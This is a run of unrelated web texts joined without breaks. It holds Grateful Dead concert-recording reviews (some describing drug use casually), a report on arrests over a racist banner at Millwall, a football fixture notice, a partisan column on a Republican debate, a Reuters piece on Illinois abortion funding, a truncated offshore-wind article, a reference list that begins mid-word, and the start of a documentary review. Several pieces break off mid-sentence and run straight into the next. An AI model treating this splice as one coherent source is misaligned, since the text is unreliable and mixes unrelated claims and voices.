My all time hottest show!
Peace - August 19, 20071600 miles for the Shakedown
Reviewer: wharfrat72 - favorite favorite favorite favorite favorite - April 29, 2007
Subject: My first show too!!....... and indeed, it rocked! - April 29, 2007My first show too!!....
Reviewer: mafeoc - favorite favorite favorite favorite favorite - April 26, 2007
Subject: My first show!! My first show and it rocked!! - April 26, 2007My first show!!
Reviewer: lobster12 - favorite favorite favorite favorite - May 31, 2006
Subject: very nice Shakedown in the 2 hole must have had the joint hopping. Really masterful. Only gripe is that the second set is very repetitive of the Vegas and Shoreline gigs that are equally as good. That's being an ass though,the performance is hot and I love the post space selections. - May 31, 2006very nice
Reviewer: spacecowboy - favorite favorite favorite favorite favorite - November 18, 2005
Subject: My oh My Looky what we have here Remember this show like it was yesterday. Wind blowing straight to the south end of the stadium with Garcia's long locks flying straight back as he leans into the great jam during Foolish Heart. Brings tears to me eyes. The sound was great at the show and so is this Board. The SICK Shakedown had Chi town in a frenzy. The Boys were clearly on this night. Gotta love Bruce H. He added some serious flavor to the music during this summer tour. - November 18, 2005My oh My Looky what we have here
Reviewer: REA04 - favorite favorite favorite favorite favorite - August 2, 2005
Subject: Underappreciated gem from '91 This is a good recording of a very good show. 'Bucket', 'FOD', 'Shakedown', 'Let It Grow', 'Foolish' are all first rate. If you like the stuff with Hornsby, they were really in sync here. The first show at Soldier Field may have been the best. - August 2, 2005Underappreciated gem from '91
Reviewer: secret8476 - favorite favorite favorite favorite favorite - July 8, 2005
Subject: First one This was the event that would forever change my life.
Yeah, im a youngster, and JUST missed seeing Brent in 1990 at Tinley (mebbe that was a good thing?) but the next year the Dead were comin to town - i was there. When i walked up from under McCormick Plaza and into the sea or tye-dies and VW's - i was in absolute awe.
Putting my culture shock aside and trying to blend was a neat trick...lol. Ya didnt have to do a damn thing but put on a smile, and everyone greeted you happily with open arms....or shot of shnapps, or a toke,....
But the show itself...well lets see, its their first time playing Soldiers field, and its a shame no one realized until 1992 that 2 nights were better than one. Looking back on this show, im dumbfounded by what i heard at this show, and realize later in life what a treat i was really given.
Bucket opener - That became the Chicago standard for three years running at Soldiers - 91, 92, and 93 openers with Bucket. I was so happy in 94 to get a picasso moon. But since this was my first, it rocked of course :)
But then Shakedown!!! I would jones for years to come before hearing another. Thankfully this one was pretty memorable. ALtho Wang Dang was you typical wang dang - theres something abvout having Bruce in the band that makes it stand out more. Friend of the Devil lends itself to be one of my all time favorite versions. The solos by vince and bruce, and later Jerry almost seemed as if it were the studio collaboration of how the song should have always sounded, embeded on an Album in time forever. Its just one of the most gorgeous versions i have heard. Brown eyed is a nice version as well, and later became a favored tune of mine to hear as well as Let it grow - this was a pretty powerful one too if you ask me. It just seemed epic ending the set with the last few fading notes of Let it grow, and watching the horizon behind Soldiers as the sun started to creep down behind the Skyscrapers.
The second set opens with a blazing Foolish that i love to go back and listen to. Yes there are many better versions of this song out there, but this one is nice and i am partial to it of course. Vince miscues the solo and jumps ahead of Jerry to drop back into the final verses - but Jerry just drags him thru another round until he builds the crescendo back up to where he wanted it, and then drops the notes. Its a great listen. Bobby belts out a very nice Looks Like Rain - again, while i know there are way better versions out there, espeically duets with Donna - this was still played very well on this evening and is pleasant to the ears. Now comes my favorite part of the trip. It was right about this time in the show that a guy calling himself Panama Jack handed me a stick of something i have never ever smelled or tasted before in my life, and have never seen since. I can tell you this - Crazy Fingers -> Playin' -> Terrapin - **drooool**.....*rubs eyes and looks again* Wowowowowow. This was the incredible highlight that whipped my perspective of life into a whole new realm. There were huge screens with wonderful animation taking place- a recall flying eyeballs - and a wizard with three shapes - a circle, a square and a triangle all floating above his hand and they would flash out - and flash back in as the wizard would fade out -
Looking back i cant imagine not having this moment in my life. It literally changed me. By the time Drums started, i looked at my friend in utter disbelief at this hidden secret he kept from me far too long. Why had he not told me sooner? He patted me on the back and said *Yeah, i know....*
Trying to keep my jaw off the floor to hear the last portions of this monumental show, i didn't realize until later that i was about to hear a very rare occurence - one that teased heads all tour long during the 91 shows - the ever elusive Dark Star Tease.
It was so prominant and there- ready to be played - i could tell by the look on other peoples faces that something big was about to go down. Alas, as the notes dropped off into the tinkling of the Playin reprise, a full fledged Dark Star was not to be born this night. But a dark star jam even, is a dark star nonetheless :)
PLayin' reprise (which i thought, jeez, they already played this...LOL) followed up the jam, and moved languidly itnto the dire riffs of Black Peter. Never on the top of my Jerry Ballads list, im happy I heard this still, and it seemed to fit the ambiance for my evening.
The real treat for me believe it or not was One More Saturday Night, as this was the song i first heard ever by the Dead - and looked forward to hearing so much (since i was informed ahead of time i would most likely hear it, be it a saturday night..lol). It had the entire stadium dancing on their feet.
Finaly ending the show with The Weight was as appropriate as it could get imho. I love that song, and it is a shame it didnt stay in rotation. Wanna hear a sweet one? Here it is.
After wiping a tear from my eye - over the soundsystem comes Jimi!!! A recording of Jimi!!!! What are they doin blasting Jimi over the sound system for??!! Omg!!! They are blasting off fireworks to Jimi Hendrix's Star Spangled Banner!!!!!!!!!!!!!!
Why o why didnt he tell me about this sooner?
The fireworks became a staple for the show closers at Soldiers. They happened every year after. Needless to say, i have never been the same since :) - July 8, 2005First one
Reviewer: early 80's meltdown - favorite favorite favorite favorite - May 27, 2005
Subject: Yea Bro I posted that Vince shot, it was on one of the 90's Vegas Boyd Shows. I live in Chicago area by the way and seen all Soldier shows and lots after but Vince in my mind was the worst.I drove to Ohio for his first and lots after and like I mentioned in post he was refering to was his Keyboard playin and sound reminds me of lame Casio bubble gum pop. Cheesey to the max solos and on top of it his voice was horrible. Man, Brent was such a loss to the group and fans and of coarse family. Unfortunetly from what I read in Phil's book and others He didn't comprehend how much he was loved and was so insecure, wow he was dead wrong he was the best inmy opinion he deserved to be playing aside with Jerry Garcia definetly awesome counter part to Jerry and great blend with band. Huge Brent fan like many, The Hammond,the wicked bells and buzzer freak sounds and his passionate sweet singing/preacher man bad ass.
The some good jams on Shakedown Bluesy. Jerry midi stuff is pretty cool. I remember being up in front rows at this shows and during Black Peter and watching him pretty close and trippin hard. He looked like he was partying again and from whats in print he relapsed heavy on persian again. pretty cool shows, lucky we had Bruce. Dark Star tease theme was trippy for me and spacey in that roman pillar collisem spaceship. early 80's meltdown -- May 27, 2005Yea Bro I posted that Vince shot,
Reviewer: ****eagle____ - favorite favorite favorite favorite - May 12, 2005
Subject: First One Was A Good One This was my first show and was a graduation present to myself. I remember looking over at a dude wiggling to "Hey Mr. Spaceman" and grinning my ass off. I knew the tunes but did not have the nuances down yet...so the Dark Star teases and "goodie" and "jems" sort of went in one ear and out the other. I had a copy of it a long time ago..but it was D- in quality. I'm glad this was one of the first I decided to listen to. 14 yrs later I hear some choice licks...Shakedown is classic whaaaa whhaaaa whhaaaa...I agree on this being the best Soldier...Maybe the 92' w/ Steve Miller is close...but by 95' the scene was crappy...concrete..cops...and bunk ALL around....I'm just glad I was there for them all at the Field'...Especially since they turned it into the Mothership...All we have are the music and the memories.... - May 12, 2005First One Was A Good One
Reviewer: dmilks - favorite favorite favorite favorite - February 25, 2005
Subject: Soldier Field 91 Summer was just glorious. What a great show in terms of song choice, and performance-wise. In my opinion, probably the best of all the Soldier shows over 91-95. From the moment Bucket starts up, it's a smoker, and might I dare say that the Shakedown (clockin in at well over 15 minutes) is probably one of the best EVER (notice I said ONE of the best, not THE best) performed. There, I said it. Give it a listen and tear me apart, if you so dare, but I have a feeling by about 8 minutes into Shakedown, your jaw will slowly start a'droppin'. dmilks -- February 25, 2005Soldier Field
Reviewer: Kilgore Trout - favorite favorite favorite favorite - December 10, 2004
Subject: Was there, yes indeed So I saw my 1st Dead show about 13 years earlier, was just about to get married (2nd time), and went with a buddy to see this show and the Sandstone Ampitheater shows that followed.
If I remember the warm up was none other than Roger McGuinn, which was killer. Warm up? Not too often. The real treat was the Dark Star teaser and the great Shakedown jam - pretty hard to pickout highlights as it was alot fun for me to be there. Overall, i really liekd this post-Brent show. I miss Brent to this day and his Hammond B3 and leslie - he had the sound.
Only gripe I have, and I give someone else out there in Deadland the credit for this statement, is Vince's $25 casio keyboard voicings. Yuck! I thought Bruce Hornsby was an amazing addition to the Dead, but Vince's skills were lost in his crappy choice of voicings.
BTW - I just saw Bruce (on a total whim) in Vegas and the show was beautiful. The guy is a true musician and deserves a great deal of credit on his own merits. - December 10, 2004Was there, yes indeed
Reviewer: borndead - favorite favorite favorite favorite - November 27, 2004
Subject: Fireworks Nobody had any idea that after the show that the stadium would set of fireworks all over the outer rim of the place,what a sight to see.This was the first time at the Field.You could see the Sears tower inside behind the band,I kept telling this guy next to me that it was the Empire State building,Tour could mess up a perfectly good mind.I knew it was the Sears tower but all that would come out of my mouth was Empire,Empire.....BUCKETDOWNDOODLEDEVIL.....
Roger mCguinn opened - November 27, 2004Fireworks
Reviewer: Hippy Marty - favorite favorite favorite favorite favorite - November 2, 2004
Subject: Crisp Recording! What a great recording of the show, and terrapin is fantastic! - November 2, 2004Crisp Recording!
Reviewer: seth530 - favorite favorite favorite favorite - May 24, 2004
Subject: One for the ages This is one of my favorite Dead shows ever. A great example of how Hornsby pushed and prodded Garcia to really play outside himself. Bruce teases Dark Star a number of times through the pre-Drums portion of the second set. You can hear him trying to steer the band into it, but at every break Jerry kicks off a diffreent song - that great creative tension the Dead thrived on, the give-and-take, can-you-top-this kinda stuff. Then after Space, Jerry leads off into Dark Star, finally - you can almost hear the huge s**t-eating grin on his face! - May 24, 2004One for the agesMarvin Sordell
Six people were arrested after a banner about Bolton striker Marvin Sordell was shown at Millwall.
It was unveiled in a home section of the New Den stadium during the south London side's 2-1 win over Derby.
Sordell was abused by some Millwall fans when the sides met at the New Den last month, leading to a 13-year-old boy being banned from the ground.
A Metropolitan Police spokesman said the arrests were made over alleged public order offences.
"Six males were arrested during the game at Millwall in relation to a banner being unfurled at the game," he said. "They remain in custody at this time."
The banner was swiftly removed by Millwall staff during the game.
The club declined to comment on the issue, and assistant manager Joe Gallen - standing in for Lions manager Kenny Jackett, who missed the game with flu - also refused to discuss the matter.
Sordell took to Twitter after the Millwall match last month to claim he and team-mates Lee Chung-young, Darren Pratley and Benik Afobe were subjected to racist taunts.
The 21-year-old, who represented Great Britain at the London 2012 Olympics, has also faced subsequent racial abuse on Twitter and Facebook.
The original incident sparked an investigation led by both clubs.
Last week Millwall confirmed the boy in question had admitted abusing Sordell and subsequently issued a written apology, which the player accepted.
Given his age, Millwall decided not to impose a life ban on the youngster and offered him a place on a Millwall for All educational programme, "in the hope that we can change his outlook on equality, racism and life in general".
Sordell also faced racist abuse from Serbia fans while playing for England Under-21s in Krusevac on 16 October.Four of Sunderland's opening five Premier League games have been switched for live television coverage.
The Black Cats' encounters against Manchester City, Middlesbrough, Everton and Spurs have all been rearranged - leaving the trip to Southampton as the only clash in the first month of the season which will be a traditional Saturday 3pm kick-off.
The opening day clash at the Etihad, against new Man City boss Pep Guardiola, will now take place at 5.30pm on Saturday, August 13.
The Wear-Tees derby against Boro has been moved to Sunday, August 21 (kick-off 1.30pm) in the first Stadium of Light encounter of the campaign.
And the home game against Everton - now on Monday September 12 (kick-off 8pm) - and trip to Spurs - now Sunday, September 18 (kick-off 4.30pm) have also been rearranged.ADVERTISEMENT
Partisan liberals might consider it an oxymoron, but there is such a thing as a conservative intellectual. Indeed, I used to be one.
Though I've moved away from the right since those days, I maintain many friendships with highly educated, impressively smart conservatives. Their number is many, their intellects mighty. This column is directed at them, because there's something I genuinely don't understand.
I can't grasp how an intelligent, well-read man or woman, regardless of ideological commitments, could watch the Republican debate in Milwaukee on Tuesday night and not come away disgusted. I certainly did. It was a familiar feeling.
I began to experience it regularly in the run-up to the Iraq War. That disgust propelled my leftward migration over the following years, and it's intensified since the rise of the populist insurgency known as the Tea Party.
Somehow, my friends on the right don't seem to hear anything troubling, anything intellectually offensive emanating from the mouths of the Republican candidates. And I just don't get it.
I don't just mean the obvious stuff. You know, the unprovoked and petty anti-intellectualism of Marco Rubio denigrating philosophers by contrasting them unfavorably to welders (and presumably people who work at other skilled trades as well). Or Rand Paul's nonsensical, conspiratorial musings about the Federal Reserve. Or Donald Trump's xenophobic promises to build a 2,000-mile wall along the U.S.-Mexican border and round up and deport eleven million undocumented immigrants. (If they're undocumented, how will we find them? House to house sweeps by armed agents of the state through poor and heavily Latino neighborhoods? That's either absurdly unfeasible, as Jeb Bush and John Kasich pointed out, or a program for American fascism.)
And neither do I merely mean the dumpsters full of dubious assertions that are by now so deeply embedded in conservative ideology that every candidate tosses them out without making even the most cursory effort to bolster them with facts. Like the claim that America's relatively slow growth rate in recent years is a product of our tax burden (when in fact tax rates were considerably higher during the high-growth decades following World War II). Or the related contention that taxes can be drastically cut without massively increasing the budget deficit because the cuts will spur such enormous growth that tax revenues will actually increase. Or the endlessly repeated alliterative vow that ObamaCare will be "repealed and replaced," while neglecting to admit, let alone defend, the fact that the replacements favored by the GOP candidates would almost certainly leave millions of those currently covered by the Affordable Care Act without insurance.
Actually, that's more than enough to leave me pretty disgusted.
And yet, at Tuesday's debate, there were so many other things that got me going more than usual. I'm talking about specific policy proposals that amounted to nothing more than transparent nonsense. Maybe a credulous viewer with no knowledge of history, public policy, economics, or how the government actually works could respond to these proposals with a nod and a cheer. But informed viewers? Educated men and women of the right? Conservative intellectuals? They should know better — and know enough to realize when they're being sold, or helping to sell, a bucket of BS.
The appropriate response to someone attempting to turn you into the victim of a hoax or a swindle is anger. It's insulting to be treated like a sucker, a chump. And yet, my conservative intellectual friends appear not to be bothered in the least.
And that I just don't understand.
Here are three concrete examples from Tuesday's debate of Republican candidates doing their best PT Barnum imitation.
1. More than once in the debate, Carly Fiorina proposed reducing the federal tax code — not the forms ordinary citizens use to file their taxes, but the body of laws that govern taxation in the United States — to three pages. From its current length of more than 74,000 pages. (The actual code amounts to something closer to 3,000 pages, with the rest taken up by supporting material, but let's leave that aside.)
Now, could the tax code be shortened and simplified? I'm sure it could be! Maybe we could go back to its length in 1984 (26,300 pages). Or even to its size at the end of World War II (8,200 pages), when the population stood at 140 million people and the economy was many times smaller and vastly less complex than it is now. But no: Fiorina wants us to believe the code can be shrunk to three pages. Which is obviously, indisputably, offensively ludicrous. How can conservative intellectuals be anything but outraged by such hucksterism?
2. Ted Cruz took the usual supply-side happy-talk about tax cuts producing massive economic benefits to new, unusually concrete levels, claiming that instituting a 10 percent flat personal income tax and a 16 percent value-added tax, and eliminating the payroll tax, the "death tax," the corporate income tax, and the IRS, and the departments of Commerce, Energy, and Housing and Urban Development, would lead "every income group" to "see double-digit increases…of at least 14 percent."
Fourteen percent increases in what? Cruz provided an example that indicated he meant a 14 percent increase in income: "So if you're a single mom, if you're making $40,000 a year, what that means is an extra about $5,000 in your pocket…" (A 14 percent raise on $40,000 in income amounts to an additional $5,600 a year.)
The evidence for this assertion can be found in a report prepared by the Tax Foundation, a Washington think tank that, among other things, scores the tax plans of Republican presidential candidates. In the report, readers will find the claim that "the economic growth that the plan would produce" through "increased incentives to work and invest," as well as from "a significant reduction in the service price of capital," would lead every income level (including that of a single mom earning $40,000 a year) to enjoy an increase in after-tax income of "at least 14.2 percent over the long term," with the "long term" defined as "over the next 10 years." (The top one percent, incidentally, would enjoy a 34.2 percent income boost in that same time period.)
Meaning: If you make a series of highly questionable supply-side assumptions and extrapolate out for 10 years from the first year of a Cruz administration in which Congress passes his radical tax plan in every particular, a single mom currently earning $40,000 in after-tax income will be earning $45,600 round about 2027.
That's one uncertain 14 percent pay raise.
3. Then there's foreign policy — a subject on which every single candidate aside from Rand Paul endorses what journalist Matthew Yglesias once aptly described as The Green Lantern Theory of Geopolitics, which amounts to the view that, like the second-tier superhero, the United States can accomplish anything it wishes in the world, provided it displays sufficient willpower.
Don't like Putin's annexation of Ukraine and meddling in Syria? Fiorina can face him down. Pissed off about China's muscle-flexing in the South China Sea? Trump will show them who's boss. Dying to finally knock ISIS from the Dark Ages back to the Stone Age? Rubio's your man. Itching to undo the Iran nuclear deal so we can put the Mullahs in their place? Cruz will get it done.
All that's needed is American leadership, and American power, and the will to use them both. Because with the U.S. military, all things are possible.
Except, of course, that they aren't.
Since September 11, conservative reflection on foreign affairs has retreated into magical thinking. Where, I wonder, are Henry Kissinger, George Shultz, Brent Scowcroft, James Baker, Condoleezza Rice, Robert Gates, and the other grown-ups who once ran Republican foreign policy? What do they think when they hear one presidential candidate after another blather ignorantly about the world, proudly displaying their indifference to history, contempt for diplomacy, and obliviousness to grand strategy? Why do they remain silent while their party's would-be leaders talk about the world as if they're writing tweets for Rush Limbaugh's radio show instead of aiming to demonstrate that they're qualified to lead the most powerful nation on the planet?
Intellectual compromises are sometimes necessary in democratic politics. But selling one's soul should not be.
The Republican Party's 2016 presidential candidates have descended into vapid, puerile bleating. Conservative intellectuals are better than this, smarter than this. The time has come for them to speak up and call the GOP field what it is: ignorant, insulting, and dangerous.CHICAGO (Reuters) - An Illinois law expanding state-funded coverage of abortions for low-income Medicaid recipients was set to go into effect next month after an Illinois judge on Thursday dismissed a lawsuit by abortion opponents seeking to block it.
Abortion foes will appeal Thursday’s Sangamon County Circuit Court decision, said Peter Breen, a lawyer for the conservative Thomas More Society, who filed the suit last month along with some state lawmakers and anti-abortion groups.
“We respectfully disagree with the court’s ruling and will seek an immediate appeal,” Breen, who is also a Republican state lawmaker, said in a statement.
The suit had sought to block state funding for the law, arguing that the state failed specifically to set aside up to $30 million in the budget to pay for abortions. The lawsuit also argued that the law could not take effect until June 2018, instead of January, because of when it was approved.
Breen argued the state should not be required to pay for up to 30,000 abortions a year.
Illinois Republican Governor Bruce Rauner signed the controversial bill in September, upsetting many conservatives.
The American Civil Liberties Union of Illinois supported the law, saying it would keep women from being denied abortion coverage just because they were on Medicaid or worked for the state. Medicaid is a government healthcare program for the poor and disabled.
About 15 other states allow Medicaid to pay for abortion, including some required by courts, according to the Kaiser Family Foundation. Illinois was the first state in decades to voluntarily lift a restriction on such services.
The law comes as some other U.S. states have sought in recent years to tighten regulations on abortion clinics and forced closures in Texas and Kentucky.Wind power stands at an important junction in its development. The debate on its effectiveness as a clean energy solution is still raging on, with compelling evidence used to back up arguments from both sides. The balance of wind power’s theoretical potential against its practical complexities is especially apparent in the offshore sector, where the possibility of harvesting more powerful and consistent wind currents is offset by harsh operating conditions and the expense of carrying out on-site maintenance.
These challenges go some way to explaining why, despite the potential of offshore wind power generation, there is currently only 1.5GW of installed offshore capacity in the UK, compared to about 4.5GW on land. Even so, offshore wind farm construction is picking up momentum in countries around the windy North Sea, especially after a slew of new development contracts were awarded under Round 3 of the UK’s wind power development programme.
But to fully achieve the potential that offshore wind power has exhibited for so long, governmental support must go hand-in-hand with a steady refinement of a host of technologies, both in generation and distribution, to improve the shaky energy-cost ratio which has been impeding its progress. After all, if the private sector is going to take the risk of spending millions to set up wind farms under the cruel conditions of the North Sea or other regions, they must be assured of profitability once the hard work is completed.
As wind power specialists and technology companies continue to work on making wind power more viable, new designs are pointing the way to the next generation of efficient, reliable offshore wind turbines.
Pushing deeper with floating wind turbines
"Offshore wind farm construction is picking up momentum in countries around the windy North Sea."
Even the largest, most intelligent traditional offshore wind turbines have a fundamental limitation. As they are fixed installations, they are unable to access deepwater locations, where wind speeds are higher and more consistent than coastal areas. But where fixed turbines are out of their depth, floating systems may be ready to step in and fill the gap.
Governments of the US and UK announced a collaboration earlier this year to accelerate the development and sharing of this technology, which could allow turbines to operate in waters of 100m – 200m in depth, tethered to the sea floor and floating on underwater structures which provide ballast to stop them from toppling over. Apart from access to deeper waters and higher winds, the technology’s main advantages include the ability to carry out maintenance onshore, a lower impact on marine ecology during installation and the potential to mitigate concerns about spoiling sea views for humans on the coast.
"Floating wind turbines will allow us to exploit more of our wind resource, potentially more cheaply," said UK Energy Secretary Ed Davey on the announcement of the collaboration in April 2012. "Turbines will be able to locate in ever deeper waters where the wind is stronger but without the expense of foundations down to the seabed or having to undertake major repairs out at sea.
"The UK and US are both making funding available for this technology and we’re determined to work together to capitalise on this shared intent."
The technology is as yet unproven, and it remains to be seen whether floating turbines will be practical given challenges, such as rough weather and the difficulty of transmission. But several demonstration projects are currently underway or in the planning stages, and the significant public and private investment in the technology indicates a general confidence that it could be effective and economically viable once commercialised.
Floating wind power projects
Developed by a team at Kyushu University, the Windlens turbine features a curving ring around its rotor blades
In November 2011, offshore Portugal saw the installation of its first floating wind turbine, supported by Principle Power’s WindFloat semi-submersible structure, which mitigates wave motion for greater stability and allowed the two megawatt Vestas turbine to be completed on land before being towed out to sea without the need for offshore heavy lifting equipment, further contributing to the cost-effectiveness of the concept.
As an installed full-scale floating wind turbine, WindFloat joins Statoil’s Hywind demonstration project off the coast of Norway, which has been in place since 2010 and has generated 15MWh of energy. Projects in the UK (the Energy Technologies Institute is looking for a site for a £25m floating demonstration project) and the US are not far behind, which should provide a good bank of data to help decide whether floating technology could be as big a part of future offshore wind power infrastructure as its potential suggests.
While these turbines look to proving the floating concept in the short and medium-term, a new demonstration project in Japan is moving even further into the future. Windlens, as the technology has been dubbed, is a floating concept currently being field-tested 650m out from Hakata Bay on the island of Kyushu.
Developed by a team at Kyushu University, the Windlens turbine features a curving ring (or ‘diffuser shroud’) around its rotor blades, which reportedly accelerates the speed of airflow through the turbine, cutting down on noise and potentially providing a massive boost to the amount of energy which can be harvested from wind when compared to traditional wind turbines. Although the demonstrations are very small, with nothing larger than 70-100kW installed so far, the Windlens could prove to be a key concept that will bleed through into other areas of ultra-efficient turbine design.
Size matters: large-scale wind turbines
Because of the difficulties inherent to the offshore environment, new wind turbine designs are primarily focusing on improving efficiency by cutting operating costs and increasing energy yield.
"In the quest to push the energy-cost ratio as far as possible, intelligent systems will likely play an increasingly important role."
One way of achieving this is to leverage economies of scale by developing wind turbines of an unprecedented size and output.
Recent turbines designed to serve new offshore projects in the rough seas of Northern Europe (especially the UK’s Round 3 wind farm contracts) demonstrate that size matters in many areas of turbine development.
Vestas’ new V164-7.0MW turbine is an apt example, a massive seven megawatt capacity turbine dedicated to offshore operations. Weighing around 800 tons and with a colossal 164m rotor diameter, the turbines sheer scale allows it a capacity that is one megawatt greater than its main next-gen rivals developed by the likes of Siemens and General Electric.
An hour’s operation will provide enough electricity to power three households for six months, and it is this high output which Vestas believes customers who are setting up offshore wind farms need to achieve.
Gearbox vs. direct drive: the debate
Wind power stands at an important junction in its development
The latest generation of large-scale wind turbine designs has sparked a debate in the industry concerning whether to stick with traditional geared motors or to push forward with direct drive systems, which take out the moving parts, such as the gearbox, in an effort to reduce ongoing maintenance costs and improve efficiency by saving the power usually wasted in friction.
Vestas has opted to play it safe with its V164 turbine, which uses a geared system, arguing that proven technologies are more attractive to offshore customers who need to minimise risk. "Offshore wind customers do not want new and untested solutions," said Vestas’ president of technology R&D Finn Strøm Madsen on the turbine’s launch in 2011. "They want reliability and business case certainty – and that is what the V164-7.0 MW gives them."
"Turbines will be able to locate in ever deeper waters where the wind is stronger but without the expense of foundations down to the seabed."
Other developers disagree. Finnish developer Mervento’s new 3.6MW turbine has chosen direct drive technology to maximise energy yield when compared to operation and maintenance costs. This potential for higher profitability is "what the industry has been waiting for", according to Mervento CEO Patrik Holm.
The CTO of Siemens’ wind power division Henrik Stiesdal similarly praised the use of direct drive as an offshore risk reducer in the company’s six megawatt turbine design. "Our direct drive technology offers a smart, straightforward design that minimizes the number of moving parts in the wind turbine," he said. "We expect that our new SWT-6.0-120 will set new standards |
ylheptyl and 8-methylsulfinyloctyl isothiocyanates from watercress are potent inducers of phase II enzymes. Carcinogenesis 2000 ; 21 : 1983 – 8. 19 Fenwick GR Heaney RK Mullin WJ Glucosinolates and their breakdown products in food and food plants. Crit Rev Food Sci Nutr 1983 ; 18 : 123 – 201. 20 O'Neill ME Carroll Y Corridan B, et al. A European carotenoid database to assess carotenoid intakes and its use in a five-country comparative study. Br J Nutr 2001 ; 85 : 499 – 507. 21 Chu YF Sun J Wu X Liu RH Antioxidant and antiproliferative activities of common vegetables. J Agric Food Chem 2002 ; 50 : 6910 – 6. 22 Lampe JW Chen C Li S, et al. Modulation of human glutathione S-transferases by botanically defined vegetable diets. Cancer Epidemiol Biomarkers Prev 2000 ; 9 : 787 – 93. 23 Walters DG Young PJ Agus C, et al. Cruciferous vegetable consumption alters the metabolism of the dietary carcinogen 2-amino-1-methyl-6-phenylimidazo[4,5-b]pyridine (PhIP) in humans. Carcinogenesis 2004 ; 25 : 1659 – 69. 24 Mellon FA Bennett RN Holst B Williamson G Intact glucosinolate analysis in plant extracts by programmed cone voltage electrospray LC/MS: performance and comparison with LC/MS/MS methods. Anal Biochem 2002 ; 306 : 83 – 91. 25 Singh NP McCoy MT Tice RR Schneider EL A simple technique for quantitation of low levels of DNA damage in individual cells. Exp Cell Res 1988 ; 175 : 184 – 91. 26 Collins AR Duthie SJ Dobson VL Direct enzymic detection of endogenous oxidative base damage in human lymphocyte DNA. Carcinogenesis 1993 ; 14 : 1733 – 5. 27 Benzie IF Strain JJ The ferric reducing ability of plasma (FRAP) as a measure of “antioxidant power”: the FRAP assay. Anal Biochem 1996 ; 239 : 70 – 6. 28 Benzie IF Strain JJ Simultaneous automated measurement of total antioxidant (reducing) capacity and ascorbic acid concentration. Redox Report 1997 ; 3 : 233 – 8. 29 Thurnham DI Smith E Flora PS Concurrent liquid-chromatographic assay of retinol, alpha-tocopherol, beta-carotene, alpha-carotene, lycopene, and beta-cryptoxanthin in plasma, with tocopherol acetate as internal standard. Clin Chem 1988 ; 34 : 377 – 81. 30 Bairaktari E Hatzidimou K Tzallas C, et al. Estimation of LDL cholesterol based on the Friedewald formula and on apo B levels. Clin Biochem 2000 ; 33 : 549 – 55. 31 Slattery ML Benson J Curtin K Ma KN Schaeffer D Potter JD Carotenoids and colon cancer. Am J Clin Nutr 2000 ; 71 : 575 – 82. 32 Brown DJ Gridley G Pottern LM, et al. Diet and nutrition as risk factors for multiple myeloma among blacks and whites in the United States. Cancer Causes Control 2001 ; 12 : 117 – 25. 33 Boyd LA McCann MJ Hashim Y Bennett RN Gill CI Rowland IR Assessment of the anti-genotoxic, anti-proliferative, and anti-metastatic potential of crude watercress extract in human colon cancer cells. Nutr Cancer 2006 ; 55 : 232 – 41. 34 Pool-Zobel BL Bub A Muller H Wollowski I Rechkemmer G Consumption of vegetables reduces genetic damage in humans: first results of a human intervention trial with carotenoid-rich foods. Carcinogenesis 1997 ; 18 : 1847 – 50. 35 Riso P Pinder A Santangelo A Porrini M Does tomato consumption effectively increase the resistance of lymphocyte DNA to oxidative damage? Am J Clin Nutr 1999 ; 69 : 712 – 8. 36 Kang MH Park YK Kim HY Kim TS Green vegetable drink consumption protects peripheral lymphocytes DNA damage in Korean smokers. Biofactors 2004 ; 22 : 245 – 7. 37 Moller P Vogel U Pedersen A Dragsted LO Sandstrom B Loft S No effect of 600 grams fruit and vegetables per day on oxidative DNA damage and repair in healthy nonsmokers. Cancer Epidemiol Biomarkers Prev 2003 ; 12 : 1016 – 22. 38 Dragsted LO Pedersen A Hermetter A, et al. The 6-a-day study: effects of fruit and vegetables on markers of oxidative stress and antioxidative defense in healthy nonsmokers. Am J Clin Nutr 2004 ; 79 : 1060 – 72. 39 Torbergsen AC Collins AR Recovery of human lymphocytes from oxidative DNA damage; the apparent enhancement of DNA repair by carotenoids is probably simply an antioxidant effect. Eur J Nutr 2000 ; 39 : 80 – 5. 40 Zhao X Aldini G Johnson EJ, et al. Modification of lymphocyte DNA damage by carotenoid supplementation in postmenopausal women. Am J Clin Nutr 2006 ; 83 : 163 – 9. 41 Chopra M O'Neill ME Keogh N Wortley G Southon S Thurnham DI Influence of increased fruit and vegetable intake on plasma and lipoprotein carotenoids and LDL oxidation in smokers and nonsmokers. Clin Chem 2000 ; 46 : 1818 – 29. 42 Granado F Olmedilla B Blanco I Nutritional and clinical relevance of lutein in human health. Br J Nutr 2003 ; 90 : 487 – 502. 43 Stringham JM Hammond BR Jr Jr Dietary lutein and zeaxanthin: possible effects on visual function. Nutr Rev 2005 ; 63 : 59 – 64. 44 Buijsse B Feskens EJ Schlettwein-Gsell D, et al. Plasma carotene and α-tocopherol in relation to 10-y all-cause and cause-specific mortality in European elderly: the Survey in Europe on Nutrition and the Elderly, a Concerted Action (SENECA). Am J Clin Nutr 2005 ; 82 : 879 – 86. 45 Al-Delaimy WK van Kappel AL Ferrari P, et al. Plasma levels of six carotenoids in nine European countries: report from the European Prospective Investigation into Cancer and Nutrition (EPIC). Public Health Nutr 2004 ; 7 : 713 – 22. 46 Martini MC Campbell DR Gross MD Grandits GA Potter JD Slavin JL Plasma carotenoids as biomarkers of vegetable intake: the University of Minnesota Cancer Prevention Research Unit Feeding Studies. Cancer Epidemiol Biomarkers Prev 1995 ; 4 : 491 – 6.
© 2007 American Society for Clinical NutritionRachel, one of the subjects of a new documentary, “Hot Girls Wanted,” shoots a scene for one of her movies. (Courtesy of Netflix)
Documentaries about sex work always risk falling prey to moralizing that doesn’t have much to do with the well-being of workers themselves. “Hot Girls Wanted,” a new documentary produced by Rashida Jones that arrives on Netflix today, certainly has concerns about the ways in which consumer demands affect the kind of pornography that’s getting produced and the way doing sex work affects the private lives of the women who are its subjects. The desire for movies featuring women who are actually having sex on camera for the first time, as opposed to those who are just pretending to be “the girl next door,” certainly drives the Craigslist recruitment of very young women. The directors’ exploration of a porn series called “Latina Abuse,” that Jade, one of their subjects, stars in, reveals a virulent combination of racism and misogyny. And “Hot Girls Wanted” explores how Tressa, one of the main subjects of the film, negotiates her work in pornography with her disapproving mother and her boyfriend, Kendall, whose initial support gives way to deep concern.
But the film’s real, refreshing subject, and where it produces the sharpest insights, is the casualization of the pornography industry. In a way, this model of porn production is a lot like Uber, the service that lets people sign up to provide driving services using their personal cars. Both the new porn model and Uber have some advantages for consumers over the existing service providers, but they also shift major costs and risks onto workers themselves.
